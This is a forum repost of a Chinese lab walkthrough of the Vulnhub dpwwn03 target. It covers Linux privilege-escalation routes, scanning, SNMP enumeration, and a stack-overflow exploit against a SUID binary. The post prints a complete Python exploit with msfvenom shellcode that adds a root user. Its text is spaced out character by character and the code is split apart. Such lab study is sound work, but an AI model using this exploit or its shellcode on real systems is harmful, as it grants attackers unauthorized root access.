搜索

[16376] 2021-01-29_Linux通过栈溢出进行提权实战

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-29_Linux通过栈溢出进行提权实战 L i n u x 通 过 栈 溢 出 进 行 提 权 实 战 原 创   w i n d c c t v   F r e e B u f   2 0 2 1 - 0 1 - 2 9 最 近 在 刷 v u l n h u b 靶 场 ， 偶 然 间 做 到 了 d p w w n 系 列 的 靶 场 ， 其 中 d p w w n 0 3 靶 场 提 权 用 的 是 程 序 栈 溢 出 的 漏 洞 ， 相 对 常 规 方 法 还 是 比 较 少 见 的 ， 所 以 拿 出 来 单 独 在 这 里 研 究 下 。 既 然 讲 到 了 提 权 ， 顺 带 介 绍 下 常 规 的 提 权 方 式 ： 1 、 内 核 漏 洞 例 如 脏 牛 这 类 型 的 。 2 、 定 时 任 务 C r o n 通 常 以 r o o t 特 权 运 行 。 如 果 我 们 可 以 成 功 修 改 c r o n 中 的 任 何 脚 本 或 二 进 制 文 件 ， 那 么 我 们 可 以 使 用 r o o t 权 限 执 行 任 意 代 码 。 3 、 s u i d 提 权 S U I D 代 表 设 置 的 用 户 I D ， 是 一 种 L i n u x 功 能 ， 允 许 用 户 在 指 定 用 户 的 许 可 下 执 行 文 件 。 例 如 ， L i n u x   p i n g 命 令 通 常 需 要 r o o t 权 限 才 能 打 开 原 始 网 络 套 接 字 。 通 过 将 p i n g 程 序 标 记 为 S U I D （ 所 有 者 为 r o o t ） ， 只 要 低 特 权 用 户 执 行 p i n g 程 序 ， 便 会 以 r o o t 特 权 执 行 p i n g 。 4 、 s u d o 配 置 错 误 管 理 员 可 能 只 允 许 用 户 通 过 S U D O 运 行 一 些 命 令 ， 可 能 在 没 有 察 觉 的 情 况 下 中 引 入 漏 洞 ， 这 可 能 导 致 权 限 提 升 。 一 个 典 型 的 例 子 是 将 S U D O 权 限 分 配 给 f i n d 命 令 ， 以 便 其 他 用 户 可 以 在 系 统 中 搜 索 特 定 的 文 件 相 关 文 件 。 尽 管 管 理 员 可 能 不 知 道 ’ f i n d ’ 命 令 包 含 用 于 执 行 命 令 的 参 数 ， 但 攻 击 者 可 以 以 r o o t 特 权 执 行 命 令 。 5 、 第 三 方 组 件 某 些 程 序 使 用 r o o t 权 限 启 动 ， 如 果 第 三 方 服 务 或 者 程 序 存 在 漏 洞 或 者 配 置 问 题 ， 可 以 被 利 用 来 获 得 r o o t 权 限 。 6 、 N F S 提 权 网 络 文 件 系 统 ： 网 络 文 件 系 统 允 许 客 户 端 计 算 机 上 的 用 户 通 过 网 络 挂 载 共 享 文 件 或 目 录 。 N F S 使 用 远 程 过 程 调 用 （ R P C ） 在 客 户 端 和 服 务 器 之 间 路 由 请 求 。 R o o t   S q u a s h i n g 参 数 阻 止 对 连 接 到 N F S 卷 的 远 程 r o o t 用 户 具 有 r o o t 访 问 权 限 。 远 程 r o o t 用 户 在 连 接 时 会 分 配 一 个 用 户 “   n f s n o b o d y   ” ， 该 用 户 具 有 最 小 的 本 地 权 限 。 如 果   n o _ r o o t _ s q u a s h   选 项 开 启 的 话 ， 并 为 远 程 用 户 授 予 r o o t 用 户 对 所 连 接 系 统 的 访 问 权 限 。 下 面 我 们 从 头 开 始 介 绍 d p w w n 0 3 这 个 靶 场 的 渗 透 过 程 ， 以 这 个 靶 场 为 对 象 进 行 相 关 知 识 的 研 究 。 一 、 主 机 发 现 一 、 主 机 发 现 因 为 是 靶 场 ， 在 配 置 好 虚 拟 机 的 N A T 连 接 方 式 后 ， 需 要 发 现 靶 机 的 i p ， 使 用 如 下 的 命 令 ： a r p - s c a n   - l n m a p   - s P   1 9 2 . 1 6 8 . 1 6 7 . 0 / 2 4 二 、 端 口 发 现 二 、 端 口 发 现 常 用 的 命 令 有 ： n m a p   - s S   - s V   - P n   - T 4   - p -   1 9 2 . 1 6 8 . 1 6 7 . 1 8 9 n m a p   - A   - O   - s V   - p   2 2 , 1 6 1   — s c r i p t = v u l n   1 9 2 . 1 6 8 . 1 6 7 . 1 8 9
下 图 是 我 对 靶 机 的 扫 描 结 果 ： 这 个 靶 机 因 为 没 有 w e b 端 口 ， 所 以 目 录 扫 描 就 省 去 了 ， 不 然 在 实 战 中 ， 目 录 扫 描 是 很 关 键 的 一 步 ， 通 常 都 需 要 通 过 目 录 扫 描 来 提 供 漏 洞 挖 掘 思 路 。 三 、 漏 洞 挖 掘 三 、 漏 洞 挖 掘 从 端 口 的 扫 描 结 果 可 以 知 道 ， 该 靶 机 渗 透 的 重 点 就 在 2 2 和 1 6 1 端 口 ， 我 们 一 个 一 个 来 试 试 。 1 、 、 s s h n m a p 通 过 脚 本 扫 描 已 经 列 出 了 一 堆 ， 在 用 s e a r c h s p l o i t 看 看 ； 没 找 到 能 合 适 用 的 e x p ， 换 下 一 个 端 口 试 试 。
2 、 、 s n m p 简 单 网 络 管 理 协 议 （ S N M P ） 是 T C P / I P 协 议 簇 的 一 个 应 用 层 协 议 。 具 体 的 大 家 自 行 查 阅 ， 我 在 这 里 就 不 贴 了 。 看 下 可 利 用 的 漏 洞 ： 也 没 发 现 啥 合 适 的 漏 洞 。 后 来 找 到 了 一 款 针 对 s n m p 协 议 的 工 具 ， 使 用 了 一 下 发 现 ： s n m p w a l k 是 S N M P 的 一 个 工 具 ， 它 使 用 S N M P 的 G E T N E X T 请 求 查 询 指 定 O I D （ S N M P 协 议 中 的 对 象 标 识 ） 入 口 的 所 有 O I D 树 信 息 ， 并 显 示 给 用 户 。 其 他 就 没 啥 思 路 了 。 用 这 个 j o h n 去 试 了 试 s s h 登 录 ， 居 然 成 功 了 ， 有 点 玄 幻 了 。 四 、 提 权 四 、 提 权 连 上 s s h 后 ， 一 上 来 肯 定 是 要 s u d o 的 都 试 试 ； 在 s u d o   - l 中 已 经 发 现 了 线 索 ， 看 下 s s . s h ；
尝 试 h t t p 下 载 但 没 有 成 功 ， 以 后 遇 到 b a s h 反 弹 的 就 架 个 服 务 器 ， 遇 到 s s h 的 还 是 用 s f t p 更 方 便 点 ； 我 这 里 用 得 是 M o b a X t e r m ； 运 行 下 程 序 看 看 ； 到 这 里 提 权 思 路 已 经 很 明 显 了 ， s u i d 提 权 的 思 想 ， s m a s h t h e s t a c k 是 以 r o o t 的 权 限 运 行 的 ， 如 果 通 过 s m a s h t h e s t a c k 在 运 行 其 他 程 序 ， 那 其 他 程 序 也 是 以 r o o t 的 权 限 运 行 的 ， 下 面 就 来 研 究 下 s m a s h t h e s t a c k 这 个 程 序 。 程 序 分 析 程 序 分 析 看 看 程 序 的 基 本 信 息 ； 看 看 程 序 开 了 哪 些 保 护 ； 1 、 R E L R O ： 设 置 符 号 重 定 向 表 格 为 只 读 或 在 程 序 启 动 时 就 解 析 并 绑 定 所 有 动 态 符 号 ， 从 而 减 少 对 G O T （ G l o b a l   O f f s e t T a b l e ） 攻 击 。 R E L R O 为 ”   P a r t i a l   R E L R O ” ， 说 明 我 们 对 G O T 表 具 有 写 权 限 。 R E L R O 会 有 P a r t i a l   R E L R O 和 F U L L R E L R O ， 如 果 开 启 F U L L   R E L R O ， 意 味 着 我 们 无 法 修 改 g o t 表 2 、 S t a c k ： 这 个 选 项 表 示 栈 保 护 功 能 有 没 有 开 启 。
栈 溢 出 保 护 是 一 种 缓 冲 区 溢 出 攻 击 缓 解 手 段 ， 当 函 数 存 在 缓 冲 区 溢 出 攻 击 漏 洞 时 ， 攻 击 者 可 以 覆 盖 栈 上 的 返 回 地 址 来 让 s h e l l c o d e 能 够 得 到 执 行 。 当 启 用 栈 保 护 后 ， 函 数 开 始 执 行 的 时 候 会 先 往 栈 里 插 入 c o o k i e 信 息 ， 当 函 数 真 正 返 回 的 时 候 会 验 证 c o o k i e 信 息 是 否 合 法 ， 如 果 不 合 法 就 停 止 程 序 运 行 。 攻 击 者 在 覆 盖 返 回 地 址 的 时 候 往 往 也 会 将 c o o k i e 信 息 给 覆 盖 掉 ， 导 致 栈 保 护 检 查 失 败 而 阻 止 s h e l l c o d e 的 执 行 。 在 L i n u x 中 我 们 将 c o o k i e 信 息 称 为 c a n a r y 。 如 果 栈 中 开 启 C a n a r y   f o u n d ， 那 么 就 不 能 用 直 接 用 溢 出 的 方 法 覆 盖 栈 中 返 回 地 址 ， 而 且 要 通 过 改 写 指 针 与 局 部 变 量 、 l e a k c a n a r y 、 o v e r w r i t e   c a n a r y 的 方 法 来 绕 过 3 、 N X ： N X 即 N o - e X e c u t e （ 不 可 执 行 ） 的 意 思 ， N X （ D E P ） 的 基 本 原 理 是 将 数 据 所 在 内 存 页 标 识 为 不 可 执 行 ， 当 程 序 溢 出 成 功 转 入 s h e l l c o d e 时 ， 程 序 会 尝 试 在 数 据 页 面 上 执 行 指 令 ， 此 时 C P U 就 会 抛 出 异 常 ， 而 不 是 去 执 行 恶 意 指 令 。 g c c 编 译 器 默 认 开 启 了 N X 选 项 ， 如 果 需 要 关 闭 N X 选 项 ， 可 以 给 g c c 编 译 器 添 加 - z   e x e c s t a c k 参 数 。 例 如 ： g c c   - z   e x e c s t a c k   - o   t e s t   t e s t . c 在 W i n d o w s 下 ， 类 似 的 概 念 为 D E P （ 数 据 执 行 保 护 ） ， 在 最 新 版 的 V i s u a l   S t u d i o 中 默 认 开 启 了 D E P 编 译 选 项 。 N X   e n a b l e d 如 果 这 个 保 护 开 启 就 是 意 味 着 栈 中 数 据 没 有 执 行 权 限 ， 以 前 的 经 常 用 的 c a l l   e s p 或 者 j m p   e s p 的 方 法 就 不 能 使 用 ， 但 是 可 以 利 用 r o p 这 种 方 法 绕 过 4 、 P I E （ A S L R ） ： P I E   e n a b l e d 如 果 程 序 开 启 这 个 地 址 随 机 化 选 项 就 意 味 着 程 序 每 次 运 行 的 时 候 地 址 都 会 变 化 ， 而 如 果 没 有 开 P I E 的 话 那 么 N o   P I E   ( 0 x 4 0 0 0 0 0 ) ， 括 号 内 的 数 据 就 是 程 序 的 基 地 址 这 个 程 序 可 以 在 栈 上 执 行 代 码 ， 条 件 便 利 了 很 多 。 程 序 逻 辑 结 构 ：
r e a d 读 进 来 了 1 0 2 4 个 字 节 ； r e s u l t 大 小 只 有 7 2 8 个 字 节 ， 读 进 来 的 字 节 数 大 于 拷 贝 的 空 间 ， 会 发 生 栈 溢 出 ； 导 致 程 序 跳 转 到 我 们 构 造 好 的 程 序 空 间 去 执 行 。 这 里 栈 溢 出 的 难 点 在 于 找 到 溢 出 后 s h e l l c o d e 的 存 放 地 址 ， 以 便 覆 盖 返 回 地 址 后 ， 能 正 确 的 将 返 回 地 址 覆 盖 为 s h e l l c o d e 的 地 址 。 （ 我 是 直 接 进 到 靶 机 里 去 调 试 的 ， 当 然 ， 用 e d b 、 g d b 调 试 甚 至 爆 破 都 是 可 以 的 。 ） 这 里 用 m s f v e n o m 生 成 自 己 所 需 要 的 s h e l l c o d e ： 这 个 s h e l l c o d e 的 作 用 是 添 加 一 个 r o o t 权 限 的 用 户 h a c k 。 完 整 的 e x p 如 下 ： # ! / u s r / b i n / p y t h o n i m p o r t   s y s ,   s o c k e t E I P   =   " x d 1 x f 2 x f f x b f " j u n k   =   " A " * 7 3 2 N O P   =   " x 9 0 "   *   1 6 #   m s f v e n o m   - p   l i n u x / x 8 6 / a d d u s e r   U S E R = h a c k   P A S S = h a c k 1 2 3   - e   x 8 6 / a l p h a _ m i x e d   - f   c p a y l o a d   =   ( " x 8 9 x e 0 x d a x c a x d 9 x 7 0 x f 4 x 5 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 x 4 9 " " x 4 9 x 4 9 x 4 9 x 4 9 x 4 3 x 4 3 x 4 3 x 4 3 x 4 3 x 4 3 x 3 7 x 5 1 x 5 a x 6 a x 4 1 " " x 5 8 x 5 0 x 3 0 x 4 1 x 3 0 x 4 1 x 6 b x 4 1 x 4 1 x 5 1 x 3 2 x 4 1 x 4 2 x 3 2 x 4 2 " " x 4 2 x 3 0 x 4 2 x 4 2 x 4 1 x 4 2 x 5 8 x 5 0 x 3 8 x 4 1 x 4 2 x 7 5 x 4 a x 4 9 x 3 5 " " x 6 1 x 5 8 x 4 9 x 4 c x 4 9 x 4 8 x 4 b x 5 0 x 6 a x 5 1 x 5 6 x 5 1 x 4 8 x 6 8 x 4 d " " x 4 b x 3 0 x 4 2 x 4 a x 5 3 x 3 5 x 5 0 x 5 8 x 4 5 x 6 1 x 6 f x 3 9 x 7 2 x 7 1 x 7 5 " " x 3 8 x 6 2 x 5 3 x 3 2 x 5 3 x 3 2 x 5 7 x 7 0 x 6 4 x 6 2 x 4 8 x 6 6 x 4 f x 3 4 x 6 f " " x 4 4 x 3 0 x 7 3 x 5 1 x 4 5 x 3 8 x 3 4 x 6 f x 3 0 x 6 5 x 5 1 x 6 4 x 7 0 x 6 3 x 4 b " " x 3 9 x 7 8 x 6 3 x 5 2 x 6 1 x 4 d x 6 5 x 4 5 x 5 4 x 5 8 x 4 d x 4 b x 3 0 x 6 f x 6 3 " " x 6 a x 4 8 x 7 7 x 5 2 x 5 7 x 7 0 x 7 7 x 7 0 x 5 3 x 3 0 x 6 1 x 7 8 x 5 1 x 7 1 x 7 0 " " x 6 3 x 5 2 x 4 b x 7 7 x 4 a x 5 2 x 6 1 x 3 0 x 7 a x 7 5 x 3 2 x 6 2 x 6 7 x 3 1 x 6 2 " " x 5 4 x 6 f x 5 7 x 3 1 x 7 5 x 3 5 x 3 3 x 7 1 x 4 3 x 6 2 x 3 2 x 7 1 x 7 4 x 3 0 x 7 1 " " x 5 1 x 7 6 x 5 a x 4 6 x 5 0 x 5 7 x 4 a x 5 6 x 5 0 x 4 6 x 5 a x 5 6 x 5 a x 6 4 x 6 f " " x 4 6 x 5 a x 3 4 x 6 f x 6 3 x 5 2 x 5 0 x 6 9 x 7 2 x 4 e x 3 4 x 6 f x 4 4 x 3 3 x 5 2 " " x 4 8 x 7 5 x 5 a x 6 3 x 6 9 x 4 c x 4 b x 7 2 x 7 1 x 4 b x 4 c x 3 0 x 6 a x 4 3 x 3 4 " " x 5 6 x 3 8 x 5 a x 6 d x 6 b x 3 0 x 4 3 x 5 a x 6 3 x 3 1 x 5 0 x 5 8 x 7 8 x 4 d x 4 d " " x 5 0 x 4 1 x 4 1 " )
因 为 t m p 才 可 写 ， 所 以 把 p a y l o a d 下 载 到 t m p 目 录 下 运 行 的 ： 而 后 直 接 s u   h a c k 就 完 成 了 提 权 。 大 家 还 可 以 根 据 自 己 的 需 要 ， 利 用 m s f v e n o m 生 成 各 种 p a y l o a d 进 行 测 试 ， 在 这 里 就 不 再 重 复 了 。 总 结 总 结 靶 机 的 渗 透 脑 洞 了 一 下 ， 也 学 到 了 s n m p 这 个 平 时 我 们 很 容 易 忽 视 的 协 议 。 关 于 提 权 ， 原 理 和 思 路 都 很 清 晰 ， 溢 出 的 方 法 也 不 难 ， 就 是 程 序 的 调 试 有 点 让 人 崩 溃 ， 需 要 自 己 去 找 到 s h e l l c o d e 的 存 放 位 置 ， 因 为 开 了 P I E ， 所 以 不 同 系 统 、 不 同 机 器 启 动 后 s h e l l c o d e 的 位 置 都 会 发 生 变 化 。 精 彩 推 荐 精 彩 推 荐 ) b u f f e r   =   j u n k   +   E I P   +   N O P   +   p a y l o a d s   =   s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T ,   s o c k e t . S O C K _ S T R E A M ) s . c o n n e c t ( ( " l o c a l h o s t " , 3 2 1 0 ) )     # s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 6 7 . 1 3 8 " , 3 2 1 0 ) )     尝 试 远 程 溢 出 ， 但 远 端 程 序 连 接 存 在 问 题 没 有 成 功 ； s . s e n d ( b u f f e r ) s . c l o s e ( )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理